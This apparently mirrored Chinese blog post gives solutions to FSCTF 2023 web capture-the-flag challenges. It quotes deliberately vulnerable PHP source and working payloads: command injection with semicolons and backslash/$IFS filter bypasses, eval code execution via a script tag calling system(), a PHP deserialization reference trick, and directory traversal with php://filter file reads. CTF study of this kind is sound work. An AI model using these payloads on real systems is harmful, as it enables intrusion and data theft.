当前位置: 首页 > news >正文

[FSCTF 2023] web题解

文章目录

    • 源码!启动!
    • webshell是啥捏
    • 细狗2.0
    • ez_php1
    • Hello,you
    • EZ_eval
    • 巴巴托斯!


源码!启动!

打开题目,发现右键被禁了
直接ctrl+u查看源码得到flag
在这里插入图片描述

webshell是啥捏

源码

<?php
highlight_file(__FILE__);
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;if (isset($_GET['👽'])) {eval($😭($_GET['👽']));
};?>

php中变量与变量之间用点号连接表示拼接
题目拼接结果为passthru
那么我们直接ls / 在这里插入图片描述
得到flag
在这里插入图片描述

细狗2.0

简单的命令执行绕过
payload

?hongzh0=;ca\t$IFS$1/fl*g

得到flag
在这里插入图片描述

ez_php1

源码

<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$a = $_GET['b'];
$b = $_GET['a'];
if($a!=$b&&md5($a)==md5($b))
{echo "!!!";$c = $_POST['FL_AG'];if(isset($c)){if (preg_match('/^.*(flag).*$/', $ja)) {echo 'You are bad guy!!!';}else {echo "Congratulation!!";echo $hint1;}}else {echo "Please input my love FL_AG";}
} else{die("game over!");
}
?> 

分析一下,就是简单的MD5绕过和php解析特性
得到hint
在这里插入图片描述访问./L0vey0U.php

<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$FAKE_KEY = "Do you love CTF?";
$KEY = "YES I love";
$str = $_GET['str'];
echo $flag;
if (unserialize($str) === "$KEY")
{echo "$hint2";
}
?>

exp

<?php
$str = 'YES I love';
echo serialize($str);

得到第二个hint
在这里插入图片描述访问./P0int.php

<?php
highlight_file(__FILE__);
error_reporting(0);
class Clazz
{public $a;public $b;public function __wakeup(){$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");}public function __destruct(){echo $this->b;}
}
@unserialize($_POST['data']);?> 

非常简单的变量引用
exp如下

<?php
class Clazz
{public $a;public $b;
} 
$C=new Clazz();
$C->b=&$C->a;
echo serialize($C);

在这里插入图片描述
解码得到flag
在这里插入图片描述

Hello,you

简单的命令注入,用分号隔断命令

1;ls

在这里插入图片描述
反斜杠绕过和星号绕过

1;ca\t f*

在这里插入图片描述

EZ_eval

源码

<?phpif(isset($_GET['word'])){$word = $_GET['word'];if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){die("nonono.");}$word = str_replace("?", "", $word);eval("?>". $word);
}else{highlight_file(__FILE__);
}

简单分析下,eval函数中已经闭合前面?>,那么我们要自己输入php的头<?,由于问号被过滤了
这里用secript(文件上传做的多会很快想到),然后就是一些常规过滤,用%09代替空格,反斜杠绕过关键字检测

?word=<script%09language="php">system('ca\t%09/fl\ag');</script>

得到flag
在这里插入图片描述

巴巴托斯!

前面按照要求来修改
然后试试目录穿越,查看用户信息
在这里插入图片描述想尝试直接读,发现有报错,且为include函数
在这里插入图片描述

直接php伪协议读取
在这里插入图片描述
解码得到flag
在这里插入图片描述

http://www.lryc.cn/news/208616.html

相关文章:

  • linux查看内存的方式
  • Python 编写 Flink 应用程序经验记录(Flink1.17.1)
  • 如何 通过使用优先级提示,来控制所有网页资源加载顺序
  • 10月25日,每日信息差
  • 泛微OA之获取每月固定日期
  • Dataworks API:调取 MC 项目下所有表单
  • Node编写更新用户头像接口
  • MySQL3:MySQL中一条更新SQL是如何执行的?
  • p5.js map映射
  • idea提交代码冲突后,代码意外消失解决办法
  • 爬虫批量下载科研论文(SciHub)
  • explain查询sql执行计划返回的字段的详细说明
  • 讯飞输入法13.0发布,推出行业首款生成式AI输入法
  • 35. 搜索插入位置、Leetcode的Python实现
  • 使用 DDPO 在 TRL 中微调 Stable Diffusion 模型
  • cocosCreator 之 crypto-es数据加密
  • Leetcode---368周赛
  • 矢量图形编辑软件Illustrator 2023 mac中文版软件特点(ai2023) v27.9
  • 一、Docker Compose——什么是 Docker Compose
  • Java提升技术,进阶为高级开发和架构师的路线
  • 记一次 .Net+SqlSugar 查询超时的问题排查过程
  • PHP危险函数
  • 【ARM Cortex-M 系列 4 番外篇 -- 常用 benchmark 介绍】
  • web安全-原发抗抵赖
  • 强化学习------PPO算法
  • node(三)express框架
  • linux find命令搜索日志内容
  • CentOS 编译安装TinyXml2
  • 竞赛选题 深度学习人体跌倒检测 -yolo 机器视觉 opencv python
  • 使用gson将复杂的树型结构转Json遇到的问题,写入文件为空